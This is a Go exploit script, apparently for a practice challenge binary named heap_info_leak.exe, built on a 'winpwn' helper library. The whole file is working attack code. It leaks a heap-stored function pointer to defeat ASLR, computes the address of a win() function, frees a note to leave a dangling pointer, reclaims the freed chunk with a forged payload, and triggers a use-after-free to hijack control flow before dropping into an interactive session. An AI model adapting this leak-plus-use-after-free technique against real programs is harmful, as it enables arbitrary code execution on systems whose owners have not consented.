package main

import (
	"bytes"
	"encoding/binary"
	"encoding/hex"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseAddr(line []byte) (uint64, error) {
	idx := bytes.Index(line, []byte("addr=0x"))
	if idx == -1 {
		return 0, fmt.Errorf("no addr= in %q", line)
	}
	return strconv.ParseUint(string(bytes.TrimSpace(line[idx+7:])), 16, 64)
}

func main() {
	pf, err := winpwn.OpenPE("heap_info_leak.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	realShowRVA, err := pf.GetProcAddress("real_show")
	if err != nil {
		log.Fatalf("real_show not found in exports: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win not found in exports: %v", err)
	}
	pf.Close()

	rvaDiff := int64(winRVA) - int64(realShowRVA)
	fmt.Printf("[+] win RVA=0x%x  real_show RVA=0x%x  diff=%+d\n", winRVA, realShowRVA, rvaDiff)

	tube, err := winpwn.Spawn("heap_info_leak.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine: %v", err)
	}

	if err := tube.SendLine([]byte("N victim")); err != nil {
		log.Fatalf("SendLine N: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine N: %v", err)
	}
	noteAddr, _ := parseAddr(resp)
	fmt.Printf("[+] Note @ 0x%x\n", noteAddr)

	if err := tube.SendLine([]byte("S 0 32")); err != nil {
		log.Fatalf("SendLine S: %v", err)
	}
	resp, err = tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine S: %v", err)
	}
	hexPart := bytes.TrimPrefix(bytes.TrimSpace(resp), []byte("HEX "))
	leaked, err := hex.DecodeString(string(hexPart))
	if err != nil || len(leaked) < 32 {
		log.Fatalf("bad HEX response: %q", resp)
	}
	realShowVA := binary.LittleEndian.Uint64(leaked[24:32])
	fmt.Printf("[+] leaked onShow = real_show @ 0x%x (ASLR'd!)\n", realShowVA)

	winVA := uint64(int64(realShowVA) + rvaDiff)
	fmt.Printf("[+] win() @ 0x%x\n", winVA)

	if err := tube.SendLine([]byte("D 0")); err != nil {
		log.Fatalf("SendLine D: %v", err)
	}
	if _, err := tube.RecvLine(); err != nil {
		log.Fatalf("RecvLine D: %v", err)
	}
	fmt.Printf("[+] freed victim note (dangling pointer at id=0)\n")

	payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...)
	if err := tube.SendLine([]byte("T " + winpwn.Enhex(payload))); err != nil {
		log.Fatalf("SendLine T: %v", err)
	}
	resp, err = tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine T: %v", err)
	}
	tokenAddr, _ := parseAddr(resp)
	fmt.Printf("[+] Token @ 0x%x (want 0x%x)\n", tokenAddr, noteAddr)
	if tokenAddr != noteAddr {
		fmt.Printf("[-] WARN: chunk reuse mismatch -- may fail\n")
	}

	fmt.Printf("[+] triggering P 0 (UAF -> win())...\n")
	if err := tube.SendLine([]byte("P 0")); err != nil {
		log.Fatalf("SendLine P: %v", err)
	}
	tube.Interactive()
}